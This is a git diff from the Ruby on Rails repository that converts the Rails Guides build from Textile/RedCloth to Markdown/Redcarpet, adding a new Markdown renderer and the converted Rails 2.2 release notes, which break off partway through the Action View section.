diff options
Diffstat (limited to 'guides')
| -rw-r--r-- | guides/Rakefile | 4 | ||||
| -rw-r--r-- | guides/assets/stylesheets/main.css | 12 | ||||
| -rw-r--r-- | guides/rails_guides.rb | 11 | ||||
| -rw-r--r-- | guides/rails_guides/generator.rb | 71 | ||||
| -rw-r--r-- | guides/rails_guides/markdown.rb | 161 | ||||
| -rw-r--r-- | guides/rails_guides/markdown/renderer.rb | 82 | ||||
| -rw-r--r-- | guides/rails_guides/textile_extensions.rb | 67 | ||||
| -rw-r--r-- | guides/source/2_2_release_notes.md | 435 | ||||
| -rw-r--r-- | guides/source/2_2_release_notes.textile | 422 | ||||
| -rw-r--r-- | guides/source/2_3_release_notes.md (renamed from guides/source/2_3_release_notes.textile) | 535 | ||||
| -rw-r--r-- | guides/source/3_0_release_notes.md | 614 | ||||
| -rw-r--r-- | guides/source/3_0_release_notes.textile | 595 | ||||
| -rw-r--r-- | guides/source/3_1_release_notes.md | 552 | ||||
| -rw-r--r-- | guides/source/3_1_release_notes.textile | 538 | ||||
| -rw-r--r-- | guides/source/3_2_release_notes.md | 565 | ||||
| -rw-r--r-- | guides/source/3_2_release_notes.textile | 552 | ||||
| -rw-r--r-- | guides/source/4_0_release_notes.md | 875 | ||||
| -rw-r--r-- | guides/source/4_0_release_notes.textile | 848 | ||||
| -rw-r--r-- | guides/source/action_controller_overview.md (renamed from guides/source/action_controller_overview.textile) | 453 | ||||
| -rw-r--r-- | guides/source/action_mailer_basics.md (renamed from guides/source/action_mailer_basics.textile) | 366 | ||||
| -rw-r--r-- | guides/source/action_view_overview.md (renamed from guides/source/action_view_overview.textile) | 1028 | ||||
| -rw-r--r-- | guides/source/active_model_basics.md (renamed from guides/source/active_model_basics.textile) | 60 | ||||
| -rw-r--r-- | guides/source/active_record_basics.md (renamed from guides/source/active_record_basics.textile) | 178 | ||||
| -rw-r--r-- | guides/source/active_record_querying.md (renamed from guides/source/active_record_querying.textile) | 1207 | ||||
| -rw-r--r-- | guides/source/active_record_validations_callbacks.md (renamed from guides/source/active_record_validations_callbacks.textile) | 908 | ||||
| -rw-r--r-- | guides/source/active_support_core_extensions.md (renamed from guides/source/active_support_core_extensions.textile) | 2566 | ||||
| -rw-r--r-- | guides/source/active_support_instrumentation.md | 485 | ||||
| -rw-r--r-- | guides/source/active_support_instrumentation.textile | 448 | ||||
| -rw-r--r-- | guides/source/ajax_on_rails.md | 316 | ||||
| -rw-r--r-- | guides/source/ajax_on_rails.textile | 309 | ||||
| -rw-r--r-- | guides/source/api_documentation_guidelines.md (renamed from guides/source/api_documentation_guidelines.textile) | 106 | ||||
| -rw-r--r-- | guides/source/asset_pipeline.md (renamed from guides/source/asset_pipeline.textile) | 535 | ||||
| -rw-r--r-- | guides/source/association_basics.md | 1974 | ||||
| -rw-r--r-- | guides/source/association_basics.textile | 1969 | ||||
| -rw-r--r-- | guides/source/caching_with_rails.md (renamed from guides/source/caching_with_rails.textile) | 262 | ||||
| -rw-r--r-- | guides/source/command_line.md (renamed from guides/source/command_line.textile) | 334 | ||||
| -rw-r--r-- | guides/source/configuring.md | 788 | ||||
| -rw-r--r-- | guides/source/configuring.textile | 770 | ||||
| -rw-r--r-- | guides/source/contributing_to_ruby_on_rails.md (renamed from guides/source/contributing_to_ruby_on_rails.textile) | 326 | ||||
| -rw-r--r-- | guides/source/debugging_rails_applications.md (renamed from guides/source/debugging_rails_applications.textile) | 453 | ||||
| -rw-r--r-- | guides/source/engines.md (renamed from guides/source/engines.textile) | 641 | ||||
| -rw-r--r-- | guides/source/form_helpers.md (renamed from guides/source/form_helpers.textile) | 634 | ||||
| -rw-r--r-- | guides/source/generators.md (renamed from guides/source/generators.textile) | 376 | ||||
| -rw-r--r-- | guides/source/getting_started.md (renamed from guides/source/getting_started.textile) | 982 | ||||
| -rw-r--r-- | guides/source/i18n.md (renamed from guides/source/i18n.textile) | 621 | ||||
| -rw-r--r-- | guides/source/initialization.md (renamed from guides/source/initialization.textile) | 330 | ||||
| -rw-r--r-- | guides/source/layouts_and_rendering.md (renamed from guides/source/layouts_and_rendering.textile) | 1042 | ||||
| -rw-r--r-- | guides/source/migrations.md (renamed from guides/source/migrations.textile) | 616 | ||||
| -rw-r--r-- | guides/source/nested_model_forms.md (renamed from guides/source/nested_model_forms.textile) | 117 | ||||
| -rw-r--r-- | guides/source/performance_testing.md (renamed from guides/source/performance_testing.textile) | 411 | ||||
| -rw-r--r-- | guides/source/plugins.md (renamed from guides/source/plugins.textile) | 240 | ||||
| -rw-r--r-- | guides/source/rails_application_templates.md (renamed from guides/source/rails_application_templates.textile) | 169 | ||||
| -rw-r--r-- | guides/source/rails_on_rack.md | 346 | ||||
| -rw-r--r-- | guides/source/rails_on_rack.textile | 318 | ||||
| -rw-r--r-- | guides/source/routing.md | 967 | ||||
| -rw-r--r-- | guides/source/routing.textile | 953 | ||||
| -rw-r--r-- | guides/source/ruby_on_rails_guides_guidelines.md | 121 | ||||
| -rw-r--r-- | guides/source/ruby_on_rails_guides_guidelines.textile | 104 | ||||
| -rw-r--r-- | guides/source/security.md (renamed from guides/source/security.textile) | 678 | ||||
| -rw-r--r-- | guides/source/testing.md (renamed from guides/source/testing.textile) | 580 | ||||
| -rw-r--r-- | guides/source/upgrading_ruby_on_rails.md (renamed from guides/source/upgrading_ruby_on_rails.textile) | 133 |
61 files changed, 16897 insertions, 16262 deletions
diff --git a/guides/Rakefile b/guides/Rakefile index d005a12936..7881a3d9b3 100644 --- a/guides/Rakefile +++ b/guides/Rakefile @@ -1,6 +1,6 @@ namespace :guides do - desc 'Generate guides (for authors), use ONLY=foo to process just "foo.textile"' + desc 'Generate guides (for authors), use ONLY=foo to process just "foo.md"' task :generate => 'generate:html' namespace :generate do @@ -45,7 +45,7 @@ Some arguments may be passed via environment variables: ONLY=name Useful if you want to generate only one or a set of guides. - + Generate only association_basics.html: ONLY=assoc diff --git a/guides/assets/stylesheets/main.css b/guides/assets/stylesheets/main.css index 42b85fefa3..a30e12fe7e 100644 --- a/guides/assets/stylesheets/main.css +++ b/guides/assets/stylesheets/main.css @@ -24,7 +24,7 @@ dl dt { font-weight: bold; } dd { margin-left: 1.5em;} pre,code { margin: 1.5em 0; overflow: auto; color: #222;} -pre,code,tt { +pre,code { font-size: 1em; font-family: "Anonymous Pro", "Inconsolata", "Menlo", "Consolas", "Bitstream Vera Sans Mono", "Courier New", monospace; line-height: 1.5; @@ -156,6 +156,7 @@ a, a:link, a:visited { } #mainCol a, #subCol a, #feature a {color: #980905;} +#mainCol a code, #subCol a code, #feature a code {color: #980905;} /* Navigation @@ -393,7 +394,14 @@ div.code_container { margin: 0.25em 0 1.5em 0; } -.note tt, .info tt {border:none; background: none; padding: 0;} +#mainCol div.todo { + background: #fff9d8 url(../images/tab_yellow.gif) no-repeat left top; + border: none; + padding: 1em 1em 0.25em 48px; + margin: 0.25em 0 1.5em 0; +} + +.note code, .info code, .todo code {border:none; background: none; padding: 0;} #mainCol ul li { list-style:none; diff --git a/guides/rails_guides.rb b/guides/rails_guides.rb index 1955309865..ab890f202c 100644 --- a/guides/rails_guides.rb +++ b/guides/rails_guides.rb @@ -21,14 +21,14 @@ rescue LoadError end begin - require 'redcloth' + require 'redcarpet' rescue Gem::LoadError # This can happen if doc:guides is executed in an application. - $stderr.puts('Generating guides requires RedCloth 4.1.1+.') + $stderr.puts('Generating guides requires Redcarpet 2.1.1+.') $stderr.puts(<<ERROR) if bundler? Please add - gem 'RedCloth', '~> 4.2' + gem 'redcarpet', '~> 2.1.1' to the Gemfile, run @@ -36,12 +36,9 @@ to the Gemfile, run and try again. ERROR - exit 1 end -require "rails_guides/textile_extensions" -RedCloth.send(:include, RailsGuides::TextileExtensions) - +require 'rails_guides/markdown' require "rails_guides/generator" RailsGuides::Generator.new.generate diff --git a/guides/rails_guides/generator.rb b/guides/rails_guides/generator.rb index 230bebf3bb..eda9fd03a6 100644 --- a/guides/rails_guides/generator.rb +++ b/guides/rails_guides/generator.rb @@ -15,7 +15,7 @@ # # Internal links (anchors) are checked. If a reference is broken levenshtein # distance is used to suggest an existing one. This is useful since IDs are -# generated by Textile from headers and thus edits alter them. +# generated by Markdown from headers and thus edits alter them. # # Also detects duplicated IDs. They happen if there are headers with the same # text. Please do resolve them, if any, so guides are valid XHTML. @@ -65,7 +65,7 @@ module RailsGuides class Generator attr_reader :guides_dir, :source_dir, :output_dir, :edge, :warnings, :all - GUIDES_RE = /\.(?:textile|erb)$/ + GUIDES_RE = /\.(?:erb|md|markdown)$/ def initialize(output=nil) set_flags_from_environment @@ -152,6 +152,7 @@ module RailsGuides if kindle? Dir.entries("#{source_dir}/kindle").grep(GUIDES_RE).map do |entry| + next if entry == 'KINDLE.md' guides << "kindle/#{entry}" end end @@ -171,8 +172,8 @@ module RailsGuides end def output_file_for(guide) - if guide =~/\.textile$/ - guide.sub(/\.textile$/, '.html') + if guide =~ /\.(markdown|md)$/ + guide.sub(/\.(markdown|md)$/, '.html') else guide.sub(/\.erb$/, '') end @@ -203,10 +204,7 @@ module RailsGuides result = view.render(:layout => layout, :formats => [$1], :file => $`) else body = File.read(File.join(source_dir, guide)) - body = set_header_section(body, view) - body = set_index(body, view) - - result = view.render(:layout => layout, :text => textile(body)) + result = RailsGuides::Markdown.new(view, layout).render(body) warn_about_broken_links(result) if @warnings end @@ -215,70 +213,17 @@ module RailsGuides end end - def set_header_section(body, view) - new_body = body.gsub(/(.*?)endprologue\./m, '').strip - header = $1 - - header =~ /h2\.(.*)/ - page_title = "Ruby on Rails Guides: #{$1.strip}" - - header = textile(header) - - view.content_for(:page_title) { page_title.html_safe } - view.content_for(:header_section) { header.html_safe } - new_body - end - - def set_index(body, view) - index = <<-INDEX - <div id="subCol"> - <h3 class="chapter"><img src="images/chapters_icon.gif" alt="" />Chapters</h3> - <ol class="chapters"> - INDEX - - i = Indexer.new(body, warnings) - i.index - - # Set index for 2 levels - i.level_hash.each do |key, value| - link = view.content_tag(:a, :href => key[:id]) { textile(key[:title], true).html_safe } - - children = value.keys.map do |k| - view.content_tag(:li, - view.content_tag(:a, :href => k[:id]) { textile(k[:title], true).html_safe }) - end - - children_ul = children.empty? ? "" : view.content_tag(:ul, children.join(" ").html_safe) - - index << view.content_tag(:li, link.html_safe + children_ul.html_safe) - end - - index << '</ol>' - index << '</div>' - - view.content_for(:index_section) { index.html_safe } - - i.result - end - - def textile(body, lite_mode=false) - t = RedCloth.new(body) - t.hard_breaks = false - t.lite_mode = lite_mode - t.to_html(:notestuff, :plusplus, :code) - end - def warn_about_broken_links(html) anchors = extract_anchors(html) check_fragment_identifiers(html, anchors) end def extract_anchors(html) - # Textile generates headers with IDs computed from titles. + # Markdown generates headers with IDs computed from titles. anchors = Set.new html.scan(/<h\d\s+id="([^"]+)/).flatten.each do |anchor| if anchors.member?(anchor) - puts "*** DUPLICATE ID: #{anchor}, please use an explicit ID, e.g. h4(#explicit-id), or consider rewording" + puts "*** DUPLICATE ID: #{anchor}, please make sure that there're no headings with the same name at the same level." else anchors << anchor end diff --git a/guides/rails_guides/markdown.rb b/guides/rails_guides/markdown.rb new file mode 100644 index 0000000000..650489e6cb --- /dev/null +++ b/guides/rails_guides/markdown.rb @@ -0,0 +1,161 @@ +require 'redcarpet' +require 'nokogiri' +require 'rails_guides/markdown/renderer' + +module RailsGuides + class Markdown + def initialize(view, layout) + @view = view + @layout = layout + @index_counter = Hash.new(0) + @raw_header = '' + @node_ids = {} + end + + def render(body) + @raw_body = body + extract_raw_header_and_body + generate_header + generate_title + generate_body + generate_structure + generate_index + render_page + end + + private + + def dom_id(nodes) + dom_id = dom_id_text(nodes.last.text) + + # Fix duplicate node by prefix with its parent node + if @node_ids[dom_id] + if @node_ids[dom_id].size > 1 + duplicate_nodes = @node_ids.delete(dom_id) + new_node_id = "#{duplicate_nodes[-2][:id]}-#{duplicate_nodes.last[:id]}" + duplicate_nodes.last[:id] = new_node_id + @node_ids[new_node_id] = duplicate_nodes + end + + dom_id = "#{nodes[-2][:id]}-#{dom_id}" + end + + @node_ids[dom_id] = nodes + dom_id + end + + def dom_id_text(text) + text.downcase.gsub(/\?/, '-questionmark').gsub(/!/, '-bang').gsub(/[^a-z0-9]+/, ' ') + .strip.gsub(/\s+/, '-') + end + + def engine + @engine ||= Redcarpet::Markdown.new(Renderer, { + no_intra_emphasis: true, + fenced_code_blocks: true, + autolink: true, + strikethrough: true, + superscript: true, + tables: true + }) + end + + def extract_raw_header_and_body + if @raw_body =~ /^\-{40,}$/ + @raw_header, _, @raw_body = @raw_body.partition(/^\-{40,}$/).map(&:strip) + end + end + + def generate_body + @body = engine.render(@raw_body) + end + + def generate_header + @header = engine.render(@raw_header).html_safe + end + + def generate_structure + @headings_for_index = [] + if @body.present? + @body = Nokogiri::HTML(@body).tap do |doc| + hierarchy = [] + + doc.at('body').children.each do |node| + if node.name =~ /^h[3-6]$/ + case node.name + when 'h3' + hierarchy = [node] + @headings_for_index << [1, node, node.inner_html] + when 'h4' + hierarchy = hierarchy[0, 1] + [node] + @headings_for_index << [2, node, node.inner_html] + when 'h5' + hierarchy = hierarchy[0, 2] + [node] + when 'h6' + hierarchy = hierarchy[0, 3] + [node] + end + + node[:id] = dom_id(hierarchy) + node.inner_html = "#{node_index(hierarchy)} #{node.inner_html}" + end + end + end.to_html + end + end + + def generate_index + if @headings_for_index.present? + raw_index = '' + @headings_for_index.each do |level, node, label| + if level == 1 + raw_index += "1. [#{label}](##{node[:id]})\n" + elsif level == 2 + raw_index += " * [#{label}](##{node[:id]})\n" + end + end + + @index = Nokogiri::HTML(engine.render(raw_index)).tap do |doc| + doc.at('ol')[:class] = 'chapters' + end.to_html + + @index = <<-INDEX.html_safe + <div id="subCol"> + <h3 class="chapter"><img src="images/chapters_icon.gif" alt="" />Chapters</h3> + #{@index} + </div> + INDEX + end + end + + def generate_title + if heading = Nokogiri::HTML(@header).at(:h2) + @title = "Ruby on Rails Guides: #{heading.text}".html_safe + else + @title = "Ruby on Rails Guides" + end + end + + def node_index(hierarchy) + case hierarchy.size + when 1 + @index_counter[2] = @index_counter[3] = @index_counter[4] = 0 + "#{@index_counter[1] += 1}" + when 2 + @index_counter[3] = @index_counter[4] = 0 + "#{@index_counter[1]}.#{@index_counter[2] += 1}" + when 3 + @index_counter[4] = 0 + "#{@index_counter[1]}.#{@index_counter[2]}.#{@index_counter[3] += 1}" + when 4 + "#{@index_counter[1]}.#{@index_counter[2]}.#{@index_counter[3]}.#{@index_counter[4] += 1}" + end + end + + def render_page + @view.content_for(:header_section) { @header } + @view.content_for(:page_title) { @title } + @view.content_for(:index_section) { @index } + @view.render(:layout => @layout, :text => @body) + end + end +end diff --git a/guides/rails_guides/markdown/renderer.rb b/guides/rails_guides/markdown/renderer.rb new file mode 100644 index 0000000000..2f36af1fb3 --- /dev/null +++ b/guides/rails_guides/markdown/renderer.rb @@ -0,0 +1,82 @@ +module RailsGuides + class Markdown + class Renderer < Redcarpet::Render::HTML + def initialize(options={}) + super + end + + def block_code(code, language) + <<-HTML +<div class="code_container"> +<pre class="brush: #{brush_for(language)}; gutter: false; toolbar: false"> +#{ERB::Util.h(code).strip} +</pre> +</div> +HTML + end + + def header(text, header_level) + # Always increase the heading level by, so we can use h1, h2 heading in the document + header_level += 1 + + %(<h#{header_level}>#{text}</h#{header_level}>) + end + + def paragraph(text) + if text =~ /^(TIP|IMPORTANT|CAUTION|WARNING|NOTE|INFO|TODO)[.:](.*?)/ + convert_notes(text) + elsif text =~ /^\[<sup>(\d+)\]:<\/sup> (.+)$/ + linkback = %(<a href="#footnote-#{$1}-ref"><sup>#{$1}</sup></a>) + %(<p class="footnote" id="footnote-#{$1}">#{linkback} #{$2}</p>) + else + text = convert_footnotes(text) + "<p>#{text}</p>" + end + end + + private + + def convert_footnotes(text) + text.gsub(/\[<sup>(\d+)\]<\/sup>/i) do + %(<sup class="footnote" id="footnote-#{$1}-ref">) + + %(<a href="#footnote-#{$1}">#{$1}</a></sup>) + end + end + + def brush_for(code_type) + case code_type + when 'ruby', 'sql', 'plain' + code_type + when 'erb' + 'ruby; html-script: true' + when 'html' + 'xml' # html is understood, but there are .xml rules in the CSS + else + 'plain' + end + end + + def convert_notes(body) + # The following regexp detects special labels followed by a + # paragraph, perhaps at the end of the document. + # + # It is important that we do not eat more than one newline + # because formatting may be wrong otherwise. For example, + # if a bulleted list follows the first item is not rendered + # as a list item, but as a paragraph starting with a plain + # asterisk. + body.gsub(/^(TIP|IMPORTANT|CAUTION|WARNING|NOTE|INFO|TODO)[.:](.*?)(\n(?=\n)|\Z)/m) do |m| + css_class = case $1 + when 'CAUTION', 'IMPORTANT' + 'warning' + when 'TIP' + 'info' + else + $1.downcase + end + %(<div class="#{css_class}"><p>#{$2.strip}</p></div>) + end + end + end + end +end diff --git a/guides/rails_guides/textile_extensions.rb b/guides/rails_guides/textile_extensions.rb deleted file mode 100644 index 1faddd4ca0..0000000000 --- a/guides/rails_guides/textile_extensions.rb +++ /dev/null @@ -1,67 +0,0 @@ -module RedCloth::Formatters::HTML - def emdash(opts) - "--" - end -end - -module RailsGuides - module TextileExtensions - def notestuff(body) - # The following regexp detects special labels followed by a - # paragraph, perhaps at the end of the document. - # - # It is important that we do not eat more than one newline - # because formatting may be wrong otherwise. For example, - # if a bulleted list follows the first item is not rendered - # as a list item, but as a paragraph starting with a plain - # asterisk. - body.gsub!(/^(TIP|IMPORTANT|CAUTION|WARNING|NOTE|INFO)[.:](.*?)(\n(?=\n)|\Z)/m) do |m| - css_class = case $1 - when 'CAUTION', 'IMPORTANT' - 'warning' - when 'TIP' - 'info' - else - $1.downcase - end - %Q(<div class="#{css_class}"><p>#{$2.strip}</p></div>) - end - end - - def plusplus(body) - body.gsub!(/\+(.*?)\+/) do |m| - "<notextile><tt>#{$1}</tt></notextile>" - end - - # The real plus sign - body.gsub!('<plus>', '+') - end - - def brush_for(code_type) - case code_type - when 'ruby', 'sql', 'plain' - code_type - when 'erb' - 'ruby; html-script: true' - when 'html' - 'xml' # html is understood, but there are .xml rules in the CSS - else - 'plain' - end - end - - def code(body) - body.gsub!(%r{<(yaml|shell|ruby|erb|html|sql|plain)>(.*?)</\1>}m) do |m| - <<HTML -<notextile> -<div class="code_container"> -<pre class="brush: #{brush_for($1)}; gutter: false; toolbar: false"> -#{ERB::Util.h($2).strip} -</pre> -</div> -</notextile> -HTML - end - end - end -end diff --git a/guides/source/2_2_release_notes.md b/guides/source/2_2_release_notes.md new file mode 100644 index 0000000000..cef82f3784 --- /dev/null +++ b/guides/source/2_2_release_notes.md @@ -0,0 +1,435 @@ +Ruby on Rails 2.2 Release Notes +=============================== + +Rails 2.2 delivers a number of new and improved features. This list covers the major upgrades, but doesn't include every little bug fix and change. If you want to see everything, check out the [list of commits](http://github.com/rails/rails/commits/master) in the main Rails repository on GitHub. + +Along with Rails, 2.2 marks the launch of the [Ruby on Rails Guides](http://guides.rubyonrails.org/), the first results of the ongoing [Rails Guides hackfest](http://hackfest.rubyonrails.org/guide). This site will deliver high-quality documentation of the major features of Rails. + +-------------------------------------------------------------------------------- + +Infrastructure +-------------- + +Rails 2.2 is a significant release for the infrastructure that keeps Rails humming along and connected to the rest of the world. + +### Internationalization + +Rails 2.2 supplies an easy system for internationalization (or i18n, for those of you tired of typing). + +* Lead Contributors: Rails i18 Team +* More information : + * [Official Rails i18 website](http://rails-i18n.org) + * [Finally. Ruby on Rails gets internationalized](http://www.artweb-design.de/2008/7/18/finally-ruby-on-rails-gets-internationalized) + * [Localizing Rails : Demo application](http://github.com/clemens/i18n_demo_app) + +### Compatibility with Ruby 1.9 and JRuby + +Along with thread safety, a lot of work has been done to make Rails work well with JRuby and the upcoming Ruby 1.9. With Ruby 1.9 being a moving target, running edge Rails on edge Ruby is still a hit-or-miss proposition, but Rails is ready to make the transition to Ruby 1.9 when the latter is released. + +Documentation +------------- + +The internal documentation of Rails, in the form of code comments, has been improved in numerous places. In addition, the [Ruby on Rails Guides](http://guides.rubyonrails.org/) project is the definitive source for information on major Rails components. In its first official release, the Guides page includes: + +* [Getting Started with Rails](http://guides.rubyonrails.org/getting_started.html) +* [Rails Database Migrations](http://guides.rubyonrails.org/migrations.html) +* [Active Record Associations](http://guides.rubyonrails.org/association_basics.html) +* [Active Record Query Interface](http://guides.rubyonrails.org/active_record_querying.html) +* [Layouts and Rendering in Rails](http://guides.rubyonrails.org/layouts_and_rendering.html) +* [Action View Form Helpers](http://guides.rubyonrails.org/form_helpers.html) +* [Rails Routing from the Outside In](http://guides.rubyonrails.org/routing.html) +* [Action Controller Overview](http://guides.rubyonrails.org/action_controller_overview.html) +* [Rails Caching](http://guides.rubyonrails.org/caching_with_rails.html) +* [A Guide to Testing Rails Applications](http://guides.rubyonrails.org/testing.html) +* [Securing Rails Applications](http://guides.rubyonrails.org/security.html) +* [Debugging Rails Applications](http://guides.rubyonrails.org/debugging_rails_applications.html) +* [Performance Testing Rails Applications](http://guides.rubyonrails.org/performance_testing.html) +* [The Basics of Creating Rails Plugins](http://guides.rubyonrails.org/plugins.html) + +All told, the Guides provide tens of thousands of words of guidance for beginning and intermediate Rails developers. + +If you want to generate these guides locally, inside your application: + +``` +rake doc:guides +``` + +This will put the guides inside `Rails.root/doc/guides` and you may start surfing straight away by opening `Rails.root/doc/guides/index.html` in your favourite browser. + +* Lead Contributors: [Rails Documentation Team](credits.html) +* Major contributions from [Xavier Noria":http://advogato.org/person/fxn/diary.html and "Hongli Lai](http://izumi.plan99.net/blog/.) +* More information: + * [Rails Guides hackfest](http://hackfest.rubyonrails.org/guide) + * [Help improve Rails documentation on Git branch](http://weblog.rubyonrails.org/2008/5/2/help-improve-rails-documentation-on-git-branch) + +Better integration with HTTP : Out of the box ETag support +---------------------------------------------------------- + +Supporting the etag and last modified timestamp in HTTP headers means that Rails can now send back an empty response if it gets a request for a resource that hasn't been modified lately. This allows you to check whether a response needs to be sent at all. + +```ruby +class ArticlesController < ApplicationController + def show_with_respond_to_block + @article = Article.find(params[:id]) + + # If the request sends headers that differs from the options provided to stale?, then + # the request is indeed stale and the respond_to block is triggered (and the options + # to the stale? call is set on the response). + # + # If the request headers match, then the request is fresh and the respond_to block is + # not triggered. Instead the default render will occur, which will check the last-modified + # and etag headers and conclude that it only needs to send a "304 Not Modified" instead + # of rendering the template. + if stale?(:last_modified => @article.published_at.utc, :etag => @article) + respond_to do |wants| + # normal response processing + end + end + end + + def show_with_implied_render + @article = Article.find(params[:id]) + + # Sets the response headers and checks them against the request, if the request is stale + # (i.e. no match of either etag or last-modified), then the default render of the template happens. + # If the request is fresh, then the default render will return a "304 Not Modified" + # instead of rendering the template. + fresh_when(:last_modified => @article.published_at.utc, :etag => @article) + end +end +``` + +Thread Safety +------------- + +The work done to make Rails thread-safe is rolling out in Rails 2.2. Depending on your web server infrastructure, this means you can handle more requests with fewer copies of Rails in memory, leading to better server performance and higher utilization of multiple cores. + +To enable multithreaded dispatching in production mode of your application, add the following line in your `config/environments/production.rb`: + +```ruby +config.threadsafe! +``` + +* More information : + * [Thread safety for your Rails](http://m.onkey.org/2008/10/23/thread-safety-for-your-rails) + * [Thread safety project announcement](http://weblog.rubyonrails.org/2008/8/16/josh-peek-officially-joins-the-rails-core) + * [Q/A: What Thread-safe Rails Means](http://blog.headius.com/2008/08/qa-what-thread-safe-rails-means.html) + +Active Record +------------- + +There are two big additions to talk about here: transactional migrations and pooled database transactions. There's also a new (and cleaner) syntax for join table conditions, as well as a number of smaller improvements. + +### Transactional Migrations + +Historically, multiple-step Rails migrations have been a source of trouble. If something went wrong during a migration, everything before the error changed the database and everything after the error wasn't applied. Also, the migration version was stored as having been executed, which means that it couldn't be simply rerun by `rake db:migrate:redo` after you fix the problem. Transactional migrations change this by wrapping migration steps in a DDL transaction, so that if any of them fail, the entire migration is undone. In Rails 2.2, transactional migrations are supported on PostgreSQL out of the box. The code is extensible to other database types in the future - and IBM has already extended it to support the DB2 adapter. + +* Lead Contributor: [Adam Wiggins](http://adam.heroku.com/) +* More information: + * [DDL Transactions](http://adam.heroku.com/past/2008/9/3/ddl_transactions/) + * [A major milestone for DB2 on Rails](http://db2onrails.com/2008/11/08/a-major-milestone-for-db2-on-rails/) + +### Connection Pooling + +Connection pooling lets Rails distribute database requests across a pool of database connections that will grow to a maximum size (by default 5, but you can add a `pool` key to your `database.yml` to adjust this). This helps remove bottlenecks in applications that support many concurrent users. There's also a `wait_timeout` that defaults to 5 seconds before giving up. `ActiveRecord::Base.connection_pool` gives you direct access to the pool if you need it. + +```yaml +development: + adapter: mysql + username: root + database: sample_development + pool: 10 + wait_timeout: 10 +``` + +* Lead Contributor: [Nick Sieger](http://blog.nicksieger.com/) +* More information: + * [What's New in Edge Rails: Connection Pools](http://ryandaigle.com/articles/2008/9/7/what-s-new-in-edge-rails-connection-pools) + +### Hashes for Join Table Conditions + +You can now specify conditions on join tables using a hash. This is a big help if you need to query across complex joins. + +```ruby +class Photo < ActiveRecord::Base + belongs_to :product +end + +class Product < ActiveRecord::Base + has_many :photos +end + +# Get all products with copyright-free photos: +Product.all(:joins => :photos, :conditions => { :photos => { :copyright => false }}) +``` + +* More information: + * [What's New in Edge Rails: Easy Join Table Conditions](http://ryandaigle.com/articles/2008/7/7/what-s-new-in-edge-rails-easy-join-table-conditions) + +### New Dynamic Finders + +Two new sets of methods have been added to Active Record's dynamic finders family. + +#### `find_last_by_attribute` + +The `find_last_by_attribute` method is equivalent to `Model.last(:conditions => {:attribute => value})` + +```ruby +# Get the last user who signed up from London +User.find_last_by_city('London') +``` + +* Lead Contributor: [Emilio Tagua](http://www.workingwithrails.com/person/9147-emilio-tagua) + +#### `find_by_attribute!` + +The new bang! version of `find_by_attribute!` is equivalent to `Model.first(:conditions => {:attribute => value}) || raise ActiveRecord::RecordNotFound` Instead of returning `nil` if it can't find a matching record, this method will raise an exception if it cannot find a match. + +```ruby +# Raise ActiveRecord::RecordNotFound exception if 'Moby' hasn't signed up yet! +User.find_by_name!('Moby') +``` + +* Lead Contributor: [Josh Susser](http://blog.hasmanythrough.com) + +### Associations Respect Private/Protected Scope + +Active Record association proxies now respect the scope of methods on the proxied object. Previously (given User has_one :account) `@user.account.private_method` would call the private method on the associated Account object. That fails in Rails 2.2; if you need this functionality, you should use `@user.account.send(:private_method)` (or make the method public instead of private or protected). Please note that if you're overriding `method_missing`, you should also override `respond_to` to match the behavior in order for associations to function normally. + +* Lead Contributor: Adam Milligan +* More information: + * [Rails 2.2 Change: Private Methods on Association Proxies are Private](http://afreshcup.com/2008/10/24/rails-22-change-private-methods-on-association-proxies-are-private/) + +### Other ActiveRecord Changes + +* `rake db:migrate:redo` now accepts an optional VERSION to target that specific migration to redo +* Set `config.active_record.timestamped_migrations = false` to have migrations with numeric prefix instead of UTC timestamp. +* Counter cache columns (for associations declared with `:counter_cache => true`) do not need to be initialized to zero any longer. +* `ActiveRecord::Base.human_name` for an internationalization-aware humane translation of model names + +Action Controller +----------------- + +On the controller side, there are several changes that will help tidy up your routes. There are also some internal changes in the routing engine to lower memory usage on complex applications. + +### Shallow Route Nesting + +Shallow route nesting provides a solution to the well-known difficulty of using deeply-nested resources. With shallow nesting, you need only supply enough information to uniquely identify the resource that you want to work with. + +```ruby +map.resources :publishers, :shallow => true do |publisher| + publisher.resources :magazines do |magazine| + magazine.resources :photos + end +end +``` + +This will enable recognition of (among others) these routes: + +``` +/publishers/1 ==> publisher_path(1) +/publishers/1/magazines ==> publisher_magazines_path(1) +/magazines/2 ==> magazine_path(2) +/magazines/2/photos ==> magazines_photos_path(2) +/photos/3 ==> photo_path(3) +``` + +* Lead Contributor: [S. Brent Faulkner](http://www.unwwwired.net/) +* More information: + * [Rails Routing from the Outside In](http://guides.rubyonrails.org/routing.html#nested-resources) + * [What's New in Edge Rails: Shallow Routes](http://ryandaigle.com/articles/2008/9/7/what-s-new-in-edge-rails-shallow-routes) + +### Method Arrays for Member or Collection Routes + +You can now supply an array of methods for new member or collection routes. This removes the annoyance of having to define a route as accepting any verb as soon as you need it to handle more than one. With Rails 2.2, this is a legitimate route declaration: + +```ruby +map.resources :photos, :collection => { :search => [:get, :post] } +``` + +* Lead Contributor: [Brennan Dunn](http://brennandunn.com/) + +### Resources With Specific Actions + +By default, when you use `map.resources` to create a route, Rails generates routes for seven default actions (index, show, create, new, edit, update, and destroy). But each of these routes takes up memory in your application, and causes Rails to generate additional routing logic. Now you can use the `:only` and `:except` options to fine-tune the routes that Rails will generate for resources. You can supply a single action, an array of actions, or the special `:all` or `:none` options. These options are inherited by nested resources. + +```ruby +map.resources :photos, :only => [:index, :show] +map.resources :products, :except => :destroy +``` + +* Lead Contributor: [Tom Stuart](http://experthuman.com/) + +### Other Action Controller Changes + +* You can now easily [show a custom error page](http://m.onkey.org/2008/7/20/rescue-from-dispatching) for exceptions raised while routing a request. +* The HTTP Accept header is disabled by default now. You should prefer the use of formatted URLs (such as `/customers/1.xml`) to indicate the format that you want. If you need the Accept headers, you can turn them back on with `config.action_controller.use_accept_header = true`. +* Benchmarking numbers are now reported in milliseconds rather than tiny fractions of seconds +* Rails now supports HTTP-only cookies (and uses them for sessions), which help mitigate some cross-site scripting risks in newer browsers. +* `redirect_to` now fully supports URI schemes (so, for example, you can redirect to a svn`ssh: URI). +* `render` now supports a `:js` option to render plain vanilla JavaScript with the right mime type. +* Request forgery protection has been tightened up to apply to HTML-formatted content requests only. +* Polymorphic URLs behave more sensibly if a passed parameter is nil. For example, calling `polymorphic_path([@project, @date, @area])` with a nil date will give you `project_area_path`. + +Action View +----------- + +* `javascript_include_tag` and `stylesheet_link_tag` support a new `:recursive` option to be used along with `:all`, so that you can load an entire tree of files with a single line of code. +* The included Prototype JavaScript library has 